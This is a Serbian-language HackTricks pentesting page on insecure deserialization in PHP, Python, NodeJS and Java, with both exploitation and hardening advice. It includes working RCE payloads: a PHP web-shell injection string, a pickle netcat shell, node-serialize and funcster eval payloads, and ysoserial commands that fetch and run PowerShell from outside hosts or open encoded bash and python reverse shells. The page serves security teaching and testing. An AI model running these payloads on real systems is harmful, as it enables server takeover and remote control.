63 KiB
Deserialization
{{#include ../../banners/hacktricks-training.md}}
Osnovne informacije
Serialization se smatra metodom konvertovanja objekta u format koji se može sačuvati, sa namerom da se objekat ili skladišti ili prenese kao deo komunikacionog procesa. Ova tehnika se često koristi kako bi se obezbedilo da objekat može biti ponovo rekonstruisan kasnije, zadržavajući njegovu strukturu i stanje.
Deserialization, suprotno, je proces koji poništava Serialization. Obuhvata uzimanje podataka koji su strukturirani u određenom formatu i njihovu rekonstrukciju nazad u objekat.
Deserialization može biti opasna jer potencijalno omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod ili prouzrokovali neočekivano ponašanje aplikacije tokom procesa rekonstrukcije objekta.
PHP
U PHP-u se tokom procesa serializacije i deserializacije koriste specifične magic methods:
__sleep
: Poziva se kada se objekat serializuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba da budu serializovana. Obično se koristi za upis čekajućih podataka ili izvođenje sličnih poslova čišćenja.__wakeup
: Poziva se kada se objekat deserijalizuje. Koristi se za ponovnu uspostavu eventualno izgubljenih konekcija ka bazi podataka tokom serializacije i za druge zadatke re-inicijalizacije.__unserialize
: Ova metoda se poziva umesto__wakeup
(ako postoji) kada se objekat deserijalizuje. Omogućava veću kontrolu nad procesom deserializacije u poređenju sa__wakeup
.__destruct
: Ova metoda se poziva kada je objekat pred uništenjem ili kada se skript završava. Tipično se koristi za zadatke čišćenja, kao što su zatvaranje fajl deskriptora ili konekcija ka bazi podataka.__toString
: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje fajla ili druge zadatke zasnovane na pozivima funkcija unutar nje, efektivno obezbeđujući tekstualnu reprezentaciju objekta.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Ako pogledate rezultate, možete videti da se funkcije __wakeup
i __destruct
pozivaju kada se objekat deserializuje. Primetite da ćete u nekoliko tutorijala naći da se funkcija __toString
poziva kada se pokušava ispisati neki atribut, ali izgleda da se to više ne dešava.
Warning
Metod
__unserialize(array $data)
se poziva umesto__wakeup()
ako je implementiran u klasi. Omogućava vam da deserializujete objekat tako što ćete proslediti serijalizovane podatke kao niz. Možete koristiti ovaj metod da deserializujete svojstva i izvršite sve potrebne radnje prilikom deserializacije.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Možete pročitati objašnjen PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i još mnogo toga:
{{#ref}} php-deserialization-+-autoload-classes.md {{#endref}}
Serializing Referenced Values
Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost, možete:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Sprečavanje PHP Object Injection pomoću allowed_classes
[!INFO] Podrška za drugi argument funkcije
unserialize()
(niz$options
) uvedena je u PHP 7.0. Na starijim verzijama funkcija prihvata samo serijalizovani string, što onemogućava ograničavanje koje klase mogu biti instancirane.
unserialize()
će instancirati svaku klasu koju pronađe u serijalizovanom streamu, osim ako nije drugačije naznačeno. Od PHP 7 ponašanje se može ograničiti opcijom allowed_classes
:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Ako je allowed_classes
izostavljen ili kod radi na PHP < 7.0, poziv postaje opasan jer napadač može da konstruše payload koji zloupotrebljava magične metode kao što su __wakeup()
ili __destruct()
kako bi ostvario Remote Code Execution (RCE).
Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709
WordPress dodatak Everest Forms ≤ 3.2.2 je pokušao da bude defanzivan koristeći pomoćni wrapper, ali je zaboravio na zastarele PHP verzije:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Na serverima koji su i dalje koristili PHP ≤ 7.0, ova druga grana dovodila je do klasičnog PHP Object Injection kada bi administrator otvorio zlonamerni form submission. Minimalni exploit payload mogao bi izgledati ovako:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Čim je admin pogledao unos, objekat je instanciran i SomeClass::__destruct()
je izvršen, što je rezultiralo izvršavanjem proizvoljnog koda.
Zaključci
- Uvek prosleđujte
['allowed_classes' => false]
(ili strogu white-list) kada pozivateunserialize()
. - Auditirajte defensive wrappers – često zaboravljaju nasleđene PHP grane.
- Nadogradnja na PHP ≥ 7.x sama po sebi nije dovoljna: opcija i dalje mora biti eksplicitno navedena.
PHPGGC (ysoserial for PHP)
PHPGGC može vam pomoći pri generisanju payloads-a za zloupotrebu PHP deserializations.
Imajte na umu da u nekoliko slučajeva nećete moći pronaći način da zloupotrebite deserialization u izvornom kodu aplikacije, ali možete zloupotrebiti kod eksternih PHP extensions.
Dakle, ako možete, proverite phpinfo()
servera i pretražite internet (pa čak i gadgets od PHPGGC) za moguće gadgete koje biste mogli zloupotrebiti.
phar:// metadata deserialization
Ako ste pronašli LFI koji samo čita fajl i ne izvršava php kod u njegovom unutrašnjosti, na primer koristeći funkcije kao što su file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Možete pokušati zloupotrebiti deserialization koji se dešava pri čitanju fajla koristeći phar protokol.
Za više informacija pročitajte sledeći post:
{{#ref}} ../file-inclusion/phar-deserialization.md {{#endref}}
Python
Pickle
Kada se objekat unpickle-uje, funkcija ___reduce___ će biti izvršena.
Ako se iskoristi, server može vratiti grešku.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Pre nego što proverite bypass tehniku, pokušajte da koristite print(base64.b64encode(pickle.dumps(P(),2)))
da generišete objekat koji je kompatibilan sa python2 ako koristite python3.
Za više informacija o bekstvu iz pickle jails pogledajte:
{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}}
Yaml & jsonpickle
Sledeća stranica prikazuje tehniku za abuse an unsafe deserialization in yamls Python biblioteka i završava sa alatom koji može da generiše RCE deserialization payload za Pickle, PyYAML, jsonpickle i ruamel.yaml:
{{#ref}} python-yaml-deserialization.md {{#endref}}
Class Pollution (Python Prototype Pollution)
{{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md {{#endref}}
NodeJS
JS Magic Functions
JS nema "magic" functions kao PHP ili Python koje će se izvršiti samo prilikom kreiranja objekta. Međutim, ima neke funkcije koje se često koriste čak i bez direktnog poziva kao što su toString
, valueOf
, toJSON
.
Ako pri iskorišćavanju deserializationa možete kompromitovati ove funkcije da izvrše drugi kod (potencijalno iskorišćavajući prototype pollutions), mogli biste izvršiti arbitraran kod kada se pozovu.
Drugi "magic" način da se pozove funkcija bez direktnog poziva je kompromitovanjem objekta koji je vraćen iz async funkcije (promise). Jer, ako transformišete taj return object u drugi promise sa property koji se zove "then" of type function, on će biti executed samo zato što je vraćen iz drugog promise-a. Pratite this link za više informacija.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
and prototype
pollution
Ako želite da saznate više o ovoj tehnici, pogledajte sledeći tutorijal:
{{#ref}} nodejs-proto-prototype-pollution/ {{#endref}}
node-serialize
Ova biblioteka omogućava serijalizaciju funkcija. Primer:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Serijalizovani objekat će izgledati ovako:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function is serialized the _$$ND_FUNC$$_
flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js
you can find the same flag and how the code is using it.
Kao što možete videti u poslednjem delu koda, ako je flag pronađen koristi se eval
za deserijalizaciju funkcije, tako da praktično unos korisnika se koristi unutar eval
funkcije.
Međutim, samo serijalizovanje funkcije je neće izvršiti, jer bi bilo neophodno da neki deo koda poziva y.rce
u našem primeru, što je veoma neverovatno.
U svakom slučaju, možete jednostavno izmeniti serijalizovani objekat dodavanjem zagrada tako da se serijalizovana funkcija automatski izvrši kada se objekat deserijalizuje.
U sledećem delu koda obratite pažnju na poslednju zagradu i kako funkcija unserialize
automatski izvršava kod:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Kao što je ranije navedeno, ova biblioteka preuzima kod koji se nalazi nakon _$$ND_FUNC$$_
i izvršava ga koristeći eval
. Dakle, da biste automatski izvršili kod, možete ukloniti deo koji kreira funkciju i poslednju zagradu i samo izvršiti JS oneliner kao u sledećem primeru:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Možete find here further information o tome kako iskoristiti ovu ranjivost.
funcster
Značajan aspekt funcster je nedostupnost standardnih ugrađenih objekata; oni su izvan dostupnog opsega. Ovo ograničenje sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što je "ReferenceError: console is not defined" kada se koriste komande poput console.log()
ili require(something)
.
Uprkos ovom ograničenju, moguće je vratiti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, pomoću specifičnog pristupa. Direktnim iskorišćavanjem globalnog konteksta može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći snippet:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Za više informacija pročitajte ovaj izvor.
serialize-javascript
Paket serialize-javascript je dizajniran isključivo za serialization, i nema ugrađene deserialization mogućnosti. Korisnici su odgovorni za implementaciju sopstvene metode za deserialization. Zvanični primer za deserializaciju serialized data predlaže direktnu upotrebu eval
:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Ako se ova funkcija koristi za deserialize objekata, možete je lako iskoristiti:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
For more information read this source.
Cryo biblioteka
Na sledećim stranicama možete naći informacije kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
U Javi, deserialization callbacks se izvršavaju tokom procesa deserialization. Napadači koji kreiraju maliciozne payload-e koji okidaju ove callbacks mogu iskoristiti ovo izvršavanje za pokretanje štetnih radnji.
Otisci
White Box
Da biste identifikovali potencijalne serialization ranjivosti u kodu, pretražite:
- Classes that implement the
Serializable
interface. - Usage of
java.io.ObjectInputStream
,readObject
,readUnshare
functions.
Obratite posebnu pažnju na:
XMLDecoder
utilized with parameters defined by external users.XStream
'sfromXML
method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.ObjectInputStream
coupled with thereadObject
method.- Implementation of methods such as
readObject
,readObjectNodData
,readResolve
, orreadExternal
. ObjectInputStream.readUnshared
.- General use of
Serializable
.
Black Box
Za black box testiranje, obratite pažnju na specifične signatures ili "Magic Bytes" koji ukazuju na java serialized objekte (potekle iz ObjectInputStream
):
- Hexadecimal pattern:
AC ED 00 05
. - Base64 pattern:
rO0
. - HTTP response headers with
Content-type
set toapplication/x-java-serialized-object
. - Hexadecimal pattern indicating prior compression:
1F 8B 08 00
. - Base64 pattern indicating prior compression:
H4sIA
. - Web files with the
.faces
extension and thefaces.ViewState
parameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Check if vulnerable
Ako želite da learn about how does a Java Deserialized exploit work trebalo bi da pogledate Basic Java Deserialization, Java DNS Deserialization, i CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
U modernim codebase-ovima se ponekad deserialization umotava u java.security.SignedObject
i verifikuje se signature pre poziva getObject()
(koji deserializuje unutrašnji objekat). Ovo sprečava proizvoljne top-level gadget classes, ali i dalje može biti exploitable ako napadač može da pribavi validan signature (npr. kompromitovanje private-key ili signing oracle). Dodatno, tokovi za rukovanje greškama mogu kreirati session-bound tokens za neautentifikovane korisnike, izlažući inače zaštićene sinks pre-auth.
For a concrete case study with requests, IoCs, and hardening guidance, see:
{{#ref}} java-signedobject-gated-deserialization.md {{#endref}}
White Box Test
Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Možete pokušati da proverite sve biblioteke koje su poznate kao ranjive i za koje Ysoserial može da obezbedi exploit. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet.
Takođe možete koristiti gadgetinspector da pretražite moguće gadget chains koji se mogu iskoristiti.
Kada pokrećete gadgetinspector (nakon što ga izgradite) nemojte obraćati pažnju na gomilu upozorenja/grešaka kroz koje prolazi i pustite da završi. On će zapisati sva otkrića pod gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Imajte na umu da gadgetinspector neće napraviti exploit i može ukazati na false positives.
Test crne kutije
Korišćenjem Burp ekstenzije gadgetprobe možete identifikovati koje biblioteke su dostupne (pa čak i njihove verzije). Sa tim informacijama može biti lakše izabrati payload za eksploatisanje ranjivosti.
Read this to learn more about GadgetProbe.
GadgetProbe je fokusiran na ObjectInputStream
deserializacije.
Korišćenjem Burp ekstenzije Java Deserialization Scanner možete identifikovati ranjive biblioteke koje se mogu iskoristiti sa ysoserial i eksploatisati ih.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner je fokusiran na ObjectInputStream
deserializacije.
Možete takođe koristiti Freddy da otkrijete deserializacione ranjivosti u Burp. Ovaj plugin će detektovati ne samo ObjectInputStream
povezane ranjivosti već takođe i ranjivosti iz Json i Yml biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payload-e.
You can find more information about Freddy here.
Serialization Test
Nije sve samo u proveri da li server koristi neku ranjivu biblioteku. Ponekad možete biti u mogućnosti da promenite podatke unutar serializovanog objekta i zaobiđete neke provere (možda vam dodeli admin privilegije u web aplikaciji).
Ako pronađete java serializovan objekat koji se šalje web aplikaciji, možete koristiti SerializationDumper da ispišete serializovani objekat u čitljivijem formatu. Znajući koje podatke šaljete biće vam lakše da ih modifikujete i zaobiđete neke provere.
Exploit
ysoserial
Glavni alat za eksploatisanje Java deserializacija je ysoserial (download here). Možete takođe razmotriti korišćenje ysoseral-modified koji će vam omogućiti da koristite kompleksne komande (na primer sa pipes).
Imajte u vidu da je ovaj alat fokusiran na eksploatisanje ObjectInputStream
.
Preporučio bih da počnete sa "URLDNS" payload-om pre RCE payload-a da testirate da li je injekcija moguća. U svakom slučaju, imajte na umu da "URLDNS" payload možda neće raditi dok neki drugi RCE payload hoće.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Kada kreirate payload za java.lang.Runtime.exec() ne možete koristiti specijalne karaktere kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak prosleđivati argumente komandi razdvojene razmacima (možete uraditi echo -n "hello world"
ali ne možete uraditi python2 -c 'print "Hello World"'
). Da biste ispravno enkodovali payload možete use this webpage.
Slobodno koristite sledeći skript da kreirate all the possible code execution payload-e za Windows i Linux i zatim ih testirate na ranjivoj web stranici:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserial za kreiranje više exploits. Više informacija o ovom alatu u slajdovima predavanja gde je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec može da se koristi za generisanje payloads za iskorišćavanje različitih Json i Yml serialization biblioteka u Java.\ Da bih kompajlirao projekat morao sam da dodam ove dependencies u pom.xml
:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Instalirajte maven, i kompajlirajte projekat:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratorije
- Ako želite testirati neke ysoserial payloads možete pokrenuti ovaj webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Zašto
Java koristi mnogo serijalizacije za različite namene, kao što su:
- HTTP requests: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, cookies-ima itd.
- RMI (Remote Method Invocation): Java RMI protokol, koji se u potpunosti oslanja na serijalizaciju, predstavlja kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
- RMI over HTTP: Ovaj metod često koriste Java-based thick client web aplikacije, koje koriste serijalizaciju za svu komunikaciju objekata.
- JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.
- Custom Protocols: U Javi je uobičajena praksa prenošenje sirovih Java objekata, što će biti demonstrirano u narednim primerima exploit-a.
Prevencija
Transient objects
A class that implements Serializable
can implement as transient
any object inside the class that shouldn't be serializable. For example:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Izbegavanje serializacije klase koja mora da implementira Serializable
U scenarijima gde određeni objekti moraju da implementiraju Serializable
interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, obezbedite da ovi objekti budu ne-deserializabilni definišući final
readObject()
metodu koja dosledno baca izuzetak, kao što je prikazano ispod:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Poboljšanje sigurnosti deserializacije u Java
Prilagođavanje java.io.ObjectInputStream
je praktičan pristup za osiguravanje procesa deserializacije. Ovaj pristup je pogodan kada:
- Kod za deserializaciju je pod vašom kontrolom.
- Klase koje se očekuju za deserializaciju su poznate.
Nadjačajte metod resolveClass()
da biste ograničili deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao u sledećem primeru koji ograničava deserializaciju samo na klasu Bicycle
:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Korišćenje Java Agent-a za poboljšanje bezbednosti nudi rezervno rešenje kada izmena koda nije moguća. Ova metoda se primenjuje uglavnom za blacklisting harmful classes, koristeći JVM parametar:
-javaagent:name-of-agent.jar
Ovo pruža način da se deserializacija zaštiti dinamički, idealno za okruženja gde je trenutna izmena koda nepraktična.
Pogledajte primer u rO0 by Contrast Security
Implementacija filtera serijalizacije: Java 9 je uveo filtere serijalizacije preko interfejsa ObjectInputFilter
, pružajući moćan mehanizam za navođenje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri mogu biti primenjeni globalno ili po tokovima, nudeći granularnu kontrolu nad procesom deserializacije.
Da biste iskoristili filtere serijalizacije, možete postaviti globalni filter koji važi za sve operacije deserializacije ili ga dinamički konfigurisati za određene tokove. Na primer:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Korišćenje eksternih biblioteka za poboljšanu bezbednost: Biblioteke kao što su NotSoSerial, jdeserialize i Kryo nude napredne mogućnosti za kontrolu i nadzor Java deserializacije. Ove biblioteke mogu obezbediti dodatne slojeve zaštite, kao što su dopuštanje ili blokiranje klasa, analiza serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.
- NotSoSerial presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
- jdeserialize omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno malicioznog sadržaja.
- Kryo je alternativni framework za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati bezbednost.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
